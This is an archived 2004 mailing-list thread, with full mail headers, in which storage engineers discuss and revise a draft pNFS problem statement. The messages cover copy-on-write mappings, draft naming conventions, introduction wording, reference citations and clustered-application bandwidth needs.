(8.12.10/8.12.2) with ESMTP id i0MHlc6t361972; Thu, 22 Jan 2004 12:47:48 -0500 Received: from d03nm130.boulder.ibm.com (d03av02.boulder.ibm.com [9.17.193.82]) by westrelay02.boulder.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id i0MHlREO092548; Thu, 22 Jan 2004 10:47:27 -0700 To: pnfs-sbc@yahoogroups.com Cc: pnfs-ops@yahoogroups.com, pnfs-reqs@yahoogroups.com, pnfs-sbc@yahoogroups.com X-Mailer: Lotus Notes Release 5.0.11 July 24, 2002 Message-ID: Date: Thu, 22 Jan 2004 12:47:23 -0500 X-MIMETrack: Serialize by Router on D03NM130/03/M/IBM(Release 6.0.2CF2|July 23, 2003) at 01/22/2004 10:47:26 MIME-Version: 1.0 Content-type: multipart/related; Boundary=""0__=0ABBE4B0DFF2ABD28f9e8a93df938690918c0ABBE4B0DFF2ABD2"" X-eGroups-Remote-IP: 32.97.110.132 From: Craig Everhart Subject: Re: [pnfs-sbc] Two Functionality issues X-Yahoo-Group-Post: member; u=67958684 [Catching up slowly, slowly.] Issue 4.1. Yes, I presented separate read and write mappings at CITI to allow clients to participate in a style of copy-on-write processing. (The concept is straight out of the Tank protocol spec.) There are some simple compression techniques that could be used, since for most virtual offsets, at most one block address is defined. It's only while a block is in the middle of an (uncommitted) copy-on-write operation that both would be defined. But I feel that the ability to make the distinction between read and write mappings, as well as the ability sometimes to offer both a read and a write mapping for a block, offers important functionality. Issue 4.2: I agree with Dave Noveck that the functionality is likely useful more broadly than in SBC-mode out-of-band access. Craig Craig Everhart +1 919 543 2169 (tie 441 2169) Inactive hide details for black_david@emc.comblack_david@emc.com black_david@emc.com 01/02/2004 11:45 AM Please respond to pnfs-sbc To: pnfs-ops@yahoogroups.com, pnfs-reqs@yahoogroups.com, pnfs-sbc@yahoogroups.com cc: Subject: [pnfs-sbc] Two Functionality issues In starting to look at design issues for block metadata, I've run across a couple of issues around functionality to be supported that could use wider discussion. This is based on an initial review of the EMC High Road FMP protocol and the IBM StorageTank SAN.FS protocol. I've tried to just describe the issues here without taking a position. [4] Functionality SAN.FS extents come with both read and write extent mappings and block usage bitmaps. The separate read and write mappings allow for clients to participate in copy-on- write functionality - IIRC, Craig has described this. Issue [4.1]: Should protocol include support for client participation in copy-on-write? A motivation for the separate arrays of block usage bits"" appears to be allowing clients to turn file data into holes (e.g., AIX fclear system call). Issue [4.2]: Is the ability to turn valid data into a file ""hole"" (e.g., AIX fclear) at the client important to support? FMP does not support separate read mappings or usage bitmaps, and hence is not capable of involving clients in copy-on-write or allowing a client to turn valid data into a file ""hole"". Comments? Thanks, --David ---------------------------------------------------- David L. Black, Senior Technologist EMC Corporation, 176 South St., Hopkinton, MA 01748 +1 (508) 293-7953 FAX: +1 (508) 293-7786 black_david@emc.com Mobile: +1 (978) 394-7754 ---------------------------------------------------- ------------------------ Yahoo! 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Groups is subject to: http://docs.yahoo.com/info/terms/ Attachment (not stored) pic25436.gif Type: image/gif >From pcorbett@netapp.com Sun Jan 25 15:08:58 2004 Return-Path: X-Sender: Peter.Corbett@netapp.com X-Apparently-To: pnfs-reqs@yahoogroups.com Received: (qmail 61063 invoked from network); 25 Jan 2004 23:08:58 -0000 Received: from unknown (66.218.66.218) by m4.grp.scd.yahoo.com with QMQP; 25 Jan 2004 23:08:58 -0000 Received: from unknown (HELO mx01.netapp.com) (198.95.226.53) by mta3.grp.scd.yahoo.com with SMTP; 25 Jan 2004 23:08:58 -0000 Received: from frejya.corp.netapp.com (frejya [10.57.157.119]) by mx01.netapp.com (8.12.10/8.12.10/NTAP-1.4) with ESMTP id i0PN8vKw022469 for ; Sun, 25 Jan 2004 15:08:57 -0800 (PST) Received: from svlexc01.hq.netapp.com (svlexc01.corp.netapp.com [10.10.22.171]) by frejya.corp.netapp.com (8.12.9/8.12.9/NTAP-1.5) with ESMTP id i0PN8vDi021318 for ; Sun, 25 Jan 2004 15:08:57 -0800 (PST) content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: multipart/mixed; boundary=""----_=_NextPart_001_01C3E398.33E2214A"" X-MimeOLE: Produced By Microsoft Exchange V6.0.6249.0 Date: Sun, 25 Jan 2004 15:08:54 -0800 Message-ID: X-MS-Has-Attach: yes X-MS-TNEF-Correlator: Thread-Topic: [pnfs-reqs] Re: New file uploaded to pnfs-reqs Thread-Index: AcPg/94CRT+QaWyhRKGEv16f3S+5fACl+54Q To: X-eGroups-Remote-IP: 198.95.226.53 X-eGroups-From: ""Corbett, Peter"" From: ""Corbett, Peter"" Subject: RE: [pnfs-reqs] Re: New file uploaded to pnfs-reqs X-Yahoo-Group-Post: member; u=44152959 X-Yahoo-Profile: pfcorbett2004 Here is my set of revisions. I did not have quite as much time to work on this as I had hoped to, and it still needs quite a bit of work. Please critique it agressively. I'm not sure I'll be able to make the call tomorrow, but I'll try to dial in for at least the first part of it. Thanks, Peter -----Original Message----- From: Garth Gibson [mailto:garth@panasas.com] Sent: Thursday, January 22, 2004 10:52 AM To: pnfs-reqs@yahoogroups.com Subject: [pnfs-reqs] Re: New file uploaded to pnfs-reqs Clicking on the URL in this message worked for me. Clicking on the file in in the web browser view of the file list did not. So I'll send the file directly :-) On Jan 22, 2004, at 4:29 AM, Yahoo! Groups Notification wrote: > > Hello, > > This email message is a notification to let you know that > a file has been uploaded to the Files area of your pnfs-reqs group. > > File : /draft-ietf-pNFS-problem-statement-v2.doc > Uploaded by : garth_a_gibson > Description : v0.2 of pNFS problem statement > > You can access the file at the URL > > http://groups.yahoo.com/group/pnfs-reqs/files/draft-ietf-pNFS-problem- > statement-v2.doc > > Your group is currently configured to send you email notification > whenever a member uploads a file. To turn off notification, visit > > http://groups.yahoo.com/group/pnfs-reqs/join > > Thank you for choosing Yahoo! Groups as your email group service for > the pnfs-reqs group. > > Regards, > > Yahoo! Groups Customer Care > > Your use of Yahoo! Groups is subject to > http://docs.yahoo.com/info/terms/ Yahoo! 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Groups is subject to: http://docs.yahoo.com/info/terms/ Attachment (not stored) draft-ietf-pNFS-problem-statement-v3.doc Type: application/msword >From Thomas.Talpey@netapp.com Mon Jan 26 04:12:43 2004 Return-Path: X-Sender: Thomas.Talpey@netapp.com X-Apparently-To: pnfs-reqs@yahoogroups.com Received: (qmail 73709 invoked from network); 26 Jan 2004 12:12:43 -0000 Received: from unknown (66.218.66.218) by m12.grp.scd.yahoo.com with QMQP; 26 Jan 2004 12:12:43 -0000 Received: from unknown (HELO mx01.netapp.com) (198.95.226.53) by mta3.grp.scd.yahoo.com with SMTP; 26 Jan 2004 12:12:43 -0000 Received: from frejya.corp.netapp.com (frejya [10.57.157.119]) by mx01.netapp.com (8.12.10/8.12.10/NTAP-1.4) with ESMTP id i0QCCgKw009103 for ; Mon, 26 Jan 2004 04:12:42 -0800 (PST) Received: from svlexc01.hq.netapp.com (svlexc01.corp.netapp.com [10.10.22.171]) by frejya.corp.netapp.com (8.12.9/8.12.9/NTAP-1.5) with ESMTP id i0QCCfDi011215 for ; Mon, 26 Jan 2004 04:12:41 -0800 (PST) Received: from tmt.netapp.com ([10.97.1.33]) by silver.hq.netapp.com with Microsoft SMTPSVC(5.0.2195.5329); Mon, 26 Jan 2004 07:12:39 -0500 MIME-Version: 1.0 Content-Type: multipart/alternative; boundary=""----_=_NextPart_001_01C3E405.B0E0D580"" X-MimeOLE: Produced By Microsoft Exchange V6.0.6249.0 content-class: urn:content-classes:message Date: Mon, 26 Jan 2004 04:12:20 -0800 Message-ID: <5.2.1.1.2.20040126070910.00bf4328@silver.nane.netapp.com> X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: [pnfs-reqs] Re: New file uploaded to pnfs-reqs Thread-Index: AcPkBbF5FIUKYsaPTPuUjgeSaM2FaQ== To: X-eGroups-Remote-IP: 198.95.226.53 From: ""Talpey, Thomas"" Subject: RE: [pnfs-reqs] Re: New file uploaded to pnfs-reqs X-Yahoo-Group-Post: member; u=44154239 X-Yahoo-Profile: tmtymailu I did notice something important in the filename - it cannot be called ""draft-ietf-""something at this point. Only official workgroup documents may be titled that way. The norm for an individual (or group) submission is to name it with the principal author, subject and revision, such as draft-someone-pnfs-problem-statement-00.txt The document submission would be rejected otherwise. Tom. At 06:08 PM 1/25/2004, Corbett, Peter wrote: >Here is my set of revisions. I did not have quite as much time to work >on this as I had hoped to, and it still needs quite a bit of work. >Please critique it agressively. I'm not sure I'll be able to make the >call tomorrow, but I'll try to dial in for at least the first part of >it. >Thanks, >Peter > > >-----Original Message----- >From: Garth Gibson [mailto:garth@panasas.com] >Sent: Thursday, January 22, 2004 10:52 AM >To: pnfs-reqs@yahoogroups.com >Subject: [pnfs-reqs] Re: New file uploaded to pnfs-reqs > > >Clicking on the URL in this message worked for me. Clicking on the >file in in the web browser view of the file list did not. > >So I'll send the file directly :-) > >On Jan 22, 2004, at 4:29 AM, Yahoo! Groups Notification wrote: > >> >> Hello, >> >> This email message is a notification to let you know that >> a file has been uploaded to the Files area of your pnfs-reqs group. >> >> File : /draft-ietf-pNFS-problem-statement-v2.doc >> Uploaded by : garth_a_gibson >> Description : v0.2 of pNFS problem statement >> >> You can access the file at the URL >> >> http://groups.yahoo.com/group/pnfs-reqs/files/draft-ietf-pNFS-problem- >> statement-v2.doc >> >> Your group is currently configured to send you email notification >> whenever a member uploads a file. To turn off notification, visit >> >> http://groups.yahoo.com/group/pnfs-reqs/join >> >> Thank you for choosing Yahoo! Groups as your email group service for >> the pnfs-reqs group. >> >> Regards, >> >> Yahoo! Groups Customer Care >> >> Your use of Yahoo! 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Groups is subject to: > http://docs.yahoo.com/info/terms/ > > >From dnoveck@netapp.com Mon Jan 26 12:24:49 2004 Return-Path: X-Sender: Dave.Noveck@netapp.com X-Apparently-To: pnfs-reqs@yahoogroups.com Received: (qmail 53563 invoked from network); 26 Jan 2004 20:24:49 -0000 Received: from unknown (66.218.66.172) by m8.grp.scd.yahoo.com with QMQP; 26 Jan 2004 20:24:49 -0000 Received: from unknown (HELO mx01.netapp.com) (198.95.226.53) by mta4.grp.scd.yahoo.com with SMTP; 26 Jan 2004 20:24:49 -0000 Received: from hawk.corp.netapp.com (hawk [10.57.156.122]) by mx01.netapp.com (8.12.10/8.12.10/NTAP-1.4) with ESMTP id i0QKOmKw019872 for ; Mon, 26 Jan 2004 12:24:48 -0800 (PST) Received: from svlexc01.hq.netapp.com (svlexc01.corp.netapp.com [10.10.22.171]) by hawk.corp.netapp.com (8.12.9/8.12.9/NTAP-1.5) with ESMTP id i0QKOmRh008134 for ; Mon, 26 Jan 2004 12:24:48 -0800 (PST) content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: quoted-printable X-MimeOLE: Produced By Microsoft Exchange V6.0.6249.0 Date: Mon, 26 Jan 2004 12:24:42 -0800 Message-ID: X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: [pnfs-reqs] Re: New file uploaded to pnfs-reqs Thread-Index: AcPg/94CRT+QaWyhRKGEv16f3S+5fACl+54QACeO4/A= To: X-eGroups-Remote-IP: 198.95.226.53 X-eGroups-From: ""Noveck, Dave"" From: ""Noveck, Dave"" Subject: RE: [pnfs-reqs] Re: New file uploaded to pnfs-reqs X-Yahoo-Group-Post: member; u=44152831 X-Yahoo-Profile: davidnoveck as we discussed at the call today, here is my suggestion for text to replace the last two paragraphs of the introduction in the current document. I basically added a bridge paragraph to introduce the concept of separating data and control, swapped the order of the two existing paragraphs and made some minor adjustments in wording. One way of increasing the bandwidth provided for access through a single file system is to enable access to be provided, in a coherent fashion, through multiple endpoints. Separation of control and data flows provides a straightforward framework to accomplish this, by allowing data transfer to proceed in parallel from many clients to many data storage endpoints. Control and file management operations, inherently difficult to parallelize, remain the province of the single NFS server, while the offloading of data transfer operations serves to provide the requisite bandwidth scalability. Data transfer may proceed using NFS or other protocols suitable for the purpose such as iSCSI. Today the file system marketplace offers a number of proprietary alternatives to NFS servers that provide separated control and data flow. Examples include EMC High Road and IBM TotalStorage SAN FS. The lack of interoperability between these proprietary approaches hinders their adoption. An approach that solves the bandwidth problem using NFS is most desirable. By standardizing the key architectural features of separated control and data flows, a range of competitive and interoperable implementations can be provided. Moreover the industry's large investment in NFS would be protected. Without such an NFS-based solution to the bandwidth bottleneck, other file access approaches will compete with NFS (and probably with each other), causing a range of interoperability difficulties, compromising the benefits provided by a standard file access protocol. An approach that separates control and data flow and provides for data access through other protocols has additional benefits. Even though NFS is widely used as a network file system protocol, most of the world's data resides in data stores that are not accessible through NFS. Much of this data is stored in Storage Area Networks, accessible by Fibre Channel Protocol, or increasingly, by iSCSI. Storage Area Networks do not have the simple management capability that comes from a file system, that associates data with named objects in a hierarchical namespace. Such capabilities can be provided by NFS, while leveraging the existing SAN data access infrastructure, all within a common architectural framework. -----Original Message----- From: Corbett, Peter Sent: Sunday, January 25, 2004 6:09 PM To: pnfs-reqs@yahoogroups.com Subject: RE: [pnfs-reqs] Re: New file uploaded to pnfs-reqs Here is my set of revisions. I did not have quite as much time to work on this as I had hoped to, and it still needs quite a bit of work. Please critique it agressively. I'm not sure I'll be able to make the call tomorrow, but I'll try to dial in for at least the first part of it. Thanks, Peter -----Original Message----- From: Garth Gibson [mailto:garth@panasas.com] Sent: Thursday, January 22, 2004 10:52 AM To: pnfs-reqs@yahoogroups.com Subject: [pnfs-reqs] Re: New file uploaded to pnfs-reqs Clicking on the URL in this message worked for me. Clicking on the file in in the web browser view of the file list did not. So I'll send the file directly :-) On Jan 22, 2004, at 4:29 AM, Yahoo! Groups Notification wrote: > > Hello, > > This email message is a notification to let you know that > a file has been uploaded to the Files area of your pnfs-reqs group. > > File : /draft-ietf-pNFS-problem-statement-v2.doc > Uploaded by : garth_a_gibson > Description : v0.2 of pNFS problem statement > > You can access the file at the URL > > http://groups.yahoo.com/group/pnfs-reqs/files/draft-ietf-pNFS-problem- > statement-v2.doc > > Your group is currently configured to send you email notification > whenever a member uploads a file. To turn off notification, visit > > http://groups.yahoo.com/group/pnfs-reqs/join > > Thank you for choosing Yahoo! Groups as your email group service for > the pnfs-reqs group. > > Regards, > > Yahoo! Groups Customer Care > > Your use of Yahoo! Groups is subject to > http://docs.yahoo.com/info/terms/ Yahoo! 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Groups is subject to: http://docs.yahoo.com/info/terms/ >From garth@panasas.com Mon Jan 26 16:56:01 2004 Return-Path: X-Sender: garth@panasas.com X-Apparently-To: pnfs-reqs@yahoogroups.com Received: (qmail 69141 invoked from network); 27 Jan 2004 00:56:00 -0000 Received: from unknown (66.218.66.166) by m1.grp.scd.yahoo.com with QMQP; 27 Jan 2004 00:56:00 -0000 Received: from unknown (HELO PIKES.panasas.com) (65.194.124.178) by mta5.grp.scd.yahoo.com with SMTP; 27 Jan 2004 00:56:00 -0000 Received: from [127.0.0.1] ([172.17.19.3]) by PIKES.panasas.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2653.13) id SVSYLZL4; Mon, 26 Jan 2004 19:55:58 -0500 Mime-Version: 1.0 (Apple Message framework v609) Content-Transfer-Encoding: quoted-printable Message-Id: <8EE09C50-5063-11D8-A540-000A95A94F04@panasas.com> Content-Type: text/plain; charset=WINDOWS-1252; format=flowed To: pnfs-reqs@yahoogroups.com Date: Mon, 26 Jan 2004 16:55:53 -0800 X-Mailer: Apple Mail (2.609) X-eGroups-Remote-IP: 65.194.124.178 From: Garth Gibson Subject: here are some citations that may work for the problem statement X-Yahoo-Group-Post: member; u=169457820 X-Yahoo-Profile: garth_a_gibson Requirements for Bandwidth ======== SGS File System RFP, DOE NNCA and DOD NSA, April 25, 2001. Knott, T., ""Computing colossus,"" BP Frontiers magazine, Issue 6, April 2003, http://www.bp.com/frontiers. striping over file servers ========= John H. Hartman and John K. Ousterhout, ""The Zebra Striped Network File System,"" ACM Transactions on Computer Systems 13, 3, August 1995, 279-310. CMU NASD =================== Gibson, G. A., et. al., �A Cost-Effective, High-Bandwidth Storage Architecture,� International Conference on Architectural Support for Programming Languages and Operating Systems (ASPLOS), October 1998. Amiri, K., Gibson, G.A., Golding, R., ""Highly Concurrent Shared Storage,"" Int. Conf. on Distributed Computing Systems (ICDCS00), April 2000. Panasas ====================== Garth A. Gibson, Brent B. Welch, David F. Nagle, Bruce C. Moxon, ""Object Storage: Scalable Bandwidth for HPC Clusters,"" Proc. of the ClusterWorld Conference and Expo June 23-26, 2003, in San Jose, CA, www.clusterworld.com. IBM Objects =================== Azagury, A., Dreizin, V., Factor, M., Henis, E., Naor, D., Rinetzky, N., Satran, J., Tavory, A., Yerushalmi, L, �Towards an Object Store,� IBM Storage Systems Technology Workshop, November 2002. Rodeh, O., Schonfeld, U., Teperman, A., �zFS - A Scalable distributed File System using Object Disks,� IBM Storage Systems Technology Workshop, November 2002. Miller, E. L., Freeman, W. E., Long, D. E., Reed, B. C., ""Strong Security for Network Attached Storage,"" USENIX Conference on File and Storage Technologies (FAST), 2002. Other object-like solutions ========= Lee, E., Thekkath, C. Petal, �Distributed virtual disks,� ACM 7th International Conference on Architectural Support for Programming Languages and Operating Systems (ASPLOS) October, 1996. �Lustre: A Scalable, High Performance File System,� Cluster File System, Inc., 2003, http://www.lustre.org/docs.html. Other products ================= SAN FS Sanergy GPFS High Road Sistina CXFS QFS -- Harriet Coverston, ""Enabling Advanced Data Management with Sun StorEdge(TM) QFS/SAM-FS 4.0"", Twentieth IEEE / Eleventh NASA Goddard Conference on Mass Storage Systems and Technologies, April 2003. DAFS ====== MSST coming up File System Workload Analysis For Large Scientific Computing Applications, Feng Wang, Qin Xin, Bo Hong, Ethan L. Miller, Darrell D. E. Long, Scott A. Brandt, University of California, Santa Cruz, Tyce T. McLarty, Lawrence Livermore National Laboratory >From pcorbett@netapp.com Tue Jan 27 06:24:33 2004 Return-Path: X-Sender: Peter.Corbett@netapp.com X-Apparently-To: pnfs-reqs@yahoogroups.com Received: (qmail 62706 invoked from network); 27 Jan 2004 14:16:28 -0000 Received: from unknown (66.218.66.172) by m11.grp.scd.yahoo.com with QMQP; 27 Jan 2004 14:16:28 -0000 Received: from unknown (HELO mx01.netapp.com) (198.95.226.53) by mta4.grp.scd.yahoo.com with SMTP; 27 Jan 2004 14:16:28 -0000 Received: from hawk.corp.netapp.com (hawk [10.57.156.122]) by mx01.netapp.com (8.12.10/8.12.10/NTAP-1.4) with ESMTP id i0REG3Kw014476 for ; Tue, 27 Jan 2004 06:16:03 -0800 (PST) Received: from svlexc01.hq.netapp.com (svlexc01.corp.netapp.com [10.10.22.171]) by hawk.corp.netapp.com (8.12.9/8.12.9/NTAP-1.5) with ESMTP id i0REG3Rh021660 for ; Tue, 27 Jan 2004 06:16:03 -0800 (PST) content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: multipart/mixed; boundary=""----_=_NextPart_001_01C3E4E0.160A787C"" X-MimeOLE: Produced By Microsoft Exchange V6.0.6249.0 Date: Tue, 27 Jan 2004 06:15:59 -0800 Message-ID: X-MS-Has-Attach: yes X-MS-TNEF-Correlator: Thread-Topic: new version of problem statement Thread-Index: AcPk4BMGlQX8HwJSRrO/v8ehVEFedQ== To: X-eGroups-Remote-IP: 198.95.226.53 X-eGroups-From: ""Corbett, Peter"" From: ""Corbett, Peter"" Subject: new version of problem statement X-Yahoo-Group-Post: member; u=44152959 X-Yahoo-Profile: pfcorbett2004 Here is a new version of the problem statement. There are still some gaps, especially in the application section. I incorporated the paragraph Dave wrote in the introduction. I made a large number of local changes, and a few broader changes, moving a few paragraphs around, and deleting some repetitive content. I think it is getting better. It is still making the same point over and over again. And it is repeating the same point, making it several times. Garth, I didn't add your references. Can you do that? Also, I couldn't track down the spelling of Benny's last name for the Ack section. Garth, you will also need to add your address info. I am going to pass the token now, as I don't think I'll have any more time to work on this before I leave on vacation Friday. Please forward comments to the group. Thanks, Peter <> Attachment (not stored) draft-ietf-pNFS-problem-statement-v3.doc Type: application/msword >From dnoveck@netapp.com Tue Jan 27 08:01:01 2004 Return-Path: X-Sender: Dave.Noveck@netapp.com X-Apparently-To: pnfs-reqs@yahoogroups.com Received: (qmail 19614 invoked from network); 27 Jan 2004 16:00:57 -0000 Received: from unknown (66.218.66.216) by m15.grp.scd.yahoo.com with QMQP; 27 Jan 2004 16:00:57 -0000 Received: from unknown (HELO mx01.netapp.com) (198.95.226.53) by mta1.grp.scd.yahoo.com with SMTP; 27 Jan 2004 16:00:57 -0000 Received: from frejya.corp.netapp.com (frejya [10.57.157.119]) by mx01.netapp.com (8.12.10/8.12.10/NTAP-1.4) with ESMTP id i0RFjlKw000958 for ; Tue, 27 Jan 2004 07:45:47 -0800 (PST) Received: from svlexc01.hq.netapp.com (svlexc01.corp.netapp.com [10.10.22.171]) by frejya.corp.netapp.com (8.12.9/8.12.9/NTAP-1.5) with ESMTP id i0RFjkDi001953 for ; Tue, 27 Jan 2004 07:45:46 -0800 (PST) content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: multipart/alternative; boundary=""----_=_NextPart_001_01C3E4EC.9F2B86AF"" X-MimeOLE: Produced By Microsoft Exchange V6.0.6249.0 Date: Tue, 27 Jan 2004 07:45:43 -0800 Message-ID: X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: new version of problem statement Thread-Index: AcPk4BMGlQX8HwJSRrO/v8ehVEFedQAC3a3g To: X-eGroups-Remote-IP: 198.95.226.53 X-eGroups-From: ""Noveck, Dave"" From: ""Noveck, Dave"" Subject: RE: [pnfs-reqs] new version of problem statement X-Yahoo-Group-Post: member; u=44152831 X-Yahoo-Profile: davidnoveck ADVERTISEMENT I just noticed that although Peter incorporated my paragraphs in the Introduction, the two paragraphs that they were intended to replace are still there as well. Garth, when you make the next pass, could you delete the fourth and fifth paragraphs of the introduction. One other issue is that I still think that the last and penultimate paragraphs of the introduction are better swapped. What do other people think about this? -----Original Message----- From: Corbett, Peter Sent: Tuesday, January 27, 2004 9:16 AM To: pnfs-reqs@yahoogroups.com Subject: [pnfs-reqs] new version of problem statement Here is a new version of the problem statement. There are still some gaps, especially in the application section. I incorporated the paragraph Dave wrote in the introduction. I made a large number of local changes, and a few broader changes, moving a few paragraphs around, and deleting some repetitive content. I think it is getting better. It is still making the same point over and over again. And it is repeating the same point, making it several times. Garth, I didn't add your references. Can you do that? Also, I couldn't track down the spelling of Benny's last name for the Ack section. Garth, you will also need to add your address info. I am going to pass the token now, as I don't think I'll have any more time to work on this before I leave on vacation Friday. Please forward comments to the group. Thanks, Peter <> Yahoo! Groups Links * To visit your group on the web, go to: http://groups.yahoo.com/group/pnfs-reqs/ * To unsubscribe from this group, send an email to: pnfs-reqs-unsubscribe@yahoogroups.com * Your use of Yahoo! Groups is subject to the Yahoo! Terms of Service. >From bhalevy@panasas.com Tue Jan 27 14:18:06 2004 Return-Path: X-Sender: bhalevy@panasas.com X-Apparently-To: pnfs-reqs@yahoogroups.com Received: (qmail 35112 invoked from network); 27 Jan 2004 17:50:20 -0000 Received: from unknown (66.218.66.218) by m4.grp.scd.yahoo.com with QMQP; 27 Jan 2004 17:50:20 -0000 Received: from unknown (HELO PIKES.panasas.com) (65.194.124.178) by mta3.grp.scd.yahoo.com with SMTP; 27 Jan 2004 17:50:19 -0000 Received: by PIKES.panasas.com with Internet Mail Service (5.5.2653.19) id ; Tue, 27 Jan 2004 12:50:05 -0500 Message-ID: <30489F1321F5C343ACF6872B2CF7942A05D387D5@PIKES.panasas.com> To: ""'pnfs-reqs@yahoogroups.com'"" Date: Tue, 27 Jan 2004 12:50:05 -0500 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: multipart/alternative; boundary=""----_=_NextPart_001_01C3E4FD.FEDE34A0"" X-eGroups-Remote-IP: 65.194.124.178 From: ""Halevy, Benny"" Subject: RE: [pnfs-reqs] new version of problem statement X-Yahoo-Group-Post: member; u=169276676 X-Yahoo-Profile: benny_halevy What you suggest makes sense. I'd move the last sentence of the ""proprietary systems"" paragraph to the grand finale since it is pretty much repeated in the other paragraph. That will make these two paragraphs look like this: Today the file system marketplace offers a number of proprietary systems that provide separated control and data flow. Examples include EMC High Road and IBM TotalStorage SAN FS. The lack of interoperability between these proprietary systems hinders their adoption. An approach that solves the bandwidth problem using NFS is desirable. By standardizing the key architectural features of separated control and data flows, a range of competitive and interoperable implementations can be provided. Such an approach has additional benefits. Even though NFS is widely used as a network file system protocol, most of the world's data resides in data stores that are not accessible through NFS. Much of this data is stored in Storage Area Networks, accessible by Fibre Channel Protocol, or increasingly, by iSCSI. Storage Area Networks do not have the simple management capability that comes from a file system, which associates data with named objects in a hierarchical namespace. Such capabilities can be provided by NFS, while leveraging the existing SAN data access infrastructure, all within a common architectural framework protecting the industry's large investment both in NFS and in SAN storage infrastructure. -----Original Message----- From: Noveck, Dave [mailto:dnoveck@netapp.com] Sent: Tuesday, January 27, 2004 10:46 AM To: pnfs-reqs@yahoogroups.com Subject: RE: [pnfs-reqs] new version of problem statement I just noticed that although Peter incorporated my paragraphs in the Introduction, the two paragraphs that they were intended to replace are still there as well. Garth, when you make the next pass, could you delete the fourth and fifth paragraphs of the introduction. One other issue is that I still think that the last and penultimate paragraphs of the introduction are better swapped. What do other people think about this? -----Original Message----- From: Corbett, Peter Sent: Tuesday, January 27, 2004 9:16 AM To: pnfs-reqs@yahoogroups.com Subject: [pnfs-reqs] new version of problem statement Here is a new version of the problem statement. There are still some gaps, especially in the application section. I incorporated the paragraph Dave wrote in the introduction. I made a large number of local changes, and a few broader changes, moving a few paragraphs around, and deleting some repetitive content. I think it is getting better. It is still making the same point over and over again. And it is repeating the same point, making it several times. Garth, I didn't add your references. Can you do that? Also, I couldn't track down the spelling of Benny's last name for the Ack section. Garth, you will also need to add your address info. I am going to pass the token now, as I don't think I'll have any more time to work on this before I leave on vacation Friday. Please forward comments to the group. Thanks, Peter <> Yahoo! Groups Links * To visit your group on the web, go to: http://groups.yahoo.com/group/pnfs-reqs/ * To unsubscribe from this group, send an email to: pnfs-reqs-unsubscribe@yahoogroups.com * Your use of Yahoo! Groups is subject to the Yahoo! Terms of Service. Yahoo! Groups Links * To visit your group on the web, go to: http://groups.yahoo.com/group/pnfs-reqs/ * To unsubscribe from this group, send an email to: pnfs-reqs-unsubscribe@yahoogroups.com * Your use of Yahoo! Groups is subject to the Yahoo! Terms of Service. >From ggrider@lanl.gov Tue Jan 27 17:23:09 2004 Return-Path: X-Sender: ggrider@lanl.gov X-Apparently-To: pnfs-reqs@yahoogroups.com Received: (qmail 71483 invoked from network); 28 Jan 2004 01:21:50 -0000 Received: from unknown (66.218.66.217) by m9.grp.scd.yahoo.com with QMQP; 28 Jan 2004 01:21:50 -0000 Received: from unknown (HELO mailwasher-b.lanl.gov) (192.16.0.25) by mta2.grp.scd.yahoo.com with SMTP; 28 Jan 2004 01:21:53 -0000 Received: from mailrelay2.lanl.gov (localhost.localdomain [127.0.0.1]) by mailwasher-b.lanl.gov (8.12.10/8.12.10/(ccn-5)) with ESMTP id i0S1K6hE030602 for ; Tue, 27 Jan 2004 18:20:06 -0700 Received: from cic-mail.lanl.gov (localhost.localdomain [127.0.0.1]) by mailrelay2.lanl.gov (8.12.10/8.12.10/(ccn-5)) with ESMTP id i0S1K5sI012576; Tue, 27 Jan 2004 18:20:06 -0700 Received: from cthulu.lanl.gov (vpn-client-131.lanl.gov [128.165.253.131]) by cic-mail.lanl.gov (8.12.10/8.12.10/(ccn-5)) with ESMTP id i0S1JtYi024530; Tue, 27 Jan 2004 18:19:59 -0700 Message-Id: <5.2.0.9.2.20040127181650.01609868@cic-mail.lanl.gov> X-Sender: ggrider@cic-mail.lanl.gov X-Mailer: QUALCOMM Windows Eudora Version 5.2.0.9 Date: Tue, 27 Jan 2004 18:19:52 -0700 To: pnfs-reqs@yahoogroups.com, ""'pnfs-reqs@yahoogroups.com'"" Cc: garth Gibson In-Reply-To: <30489F1321F5C343ACF6872B2CF7942A05D387D5@PIKES.panasas.com > Mime-Version: 1.0 Content-Type: multipart/alternative; boundary=""=====================_16215676==.ALT"" X-Scanned-By: MIMEDefang 2.35 X-eGroups-Remote-IP: 192.16.0.25 From: Gary Grider Subject: RE: [pnfs-reqs] new version of problem statement X-Yahoo-Group-Post: member; u=169341185 X-Yahoo-Profile: ggriderpnfs I worked on the cluster applications section a bit. Here is where I am at: --------------------------------------------------------------------------------------------------------------------------------------- Clustered Applications There is a large number of clustered applications in many industry verticals that require bandwidth scaling of a single file system beyond what is possible with a single NFS server/network endpoint. Industries that have these applications include; industries that use high performance computation in science and engineering like universities and government laboratories, automotive, and aerospace; industries that do large scale data analysis like seismic, genomics, government intelligence, and business intelligence; and industries that create and use data for viewing and interacting with such as rendering, video production, video distribution, gaming, web serving, archiving etc. Many different I/O models are used in these industries, but all require bandwidths that extend to tens of gigabytes/sec, sometimes to/from a single file, sometimes to multiple files in the same directory, and sometimes from multiple files in different directories. With clustered computing becoming the prevalent way to address these applications needs, it will always be relatively easy to have scaled bandwidth needs that go well beyond a single NFS server/network endpoint, so the problem this proposal is addressing will not go away with time, in fact as scaling clusters to larger processor counts gets easier, the problem will get worse. In addition to the above data intensive cluster oriented applications, there has been increasing use of NFS file servers as the storage subsystem for databases. The traditional alternative has been to store databases in raw storage partitions, either on locally attached disks, or more commonly, in a Fibre Channel attached Storage Area Network. An advantage of the file-based approach is that it allows easier management of the data, especially in environments where there are very large numbers of database tables. However, the bandwidth achievable by the database servers to the file server is limited. In a SAN-based environment, individual tables stored on individual devices can become a hotspot. Tables can be distributed across a number of SAN devices connected to a number of Fibre Channels, to increase bandwidth. However, this introduces a significant degree of complexity to determine the best layout. This proposal addresses the issue of limited bandwidth from an NFS server by parallelizing data access to a single file system across a number of data servers. This allows increased bandwidth, comparable to that achieved from SAN 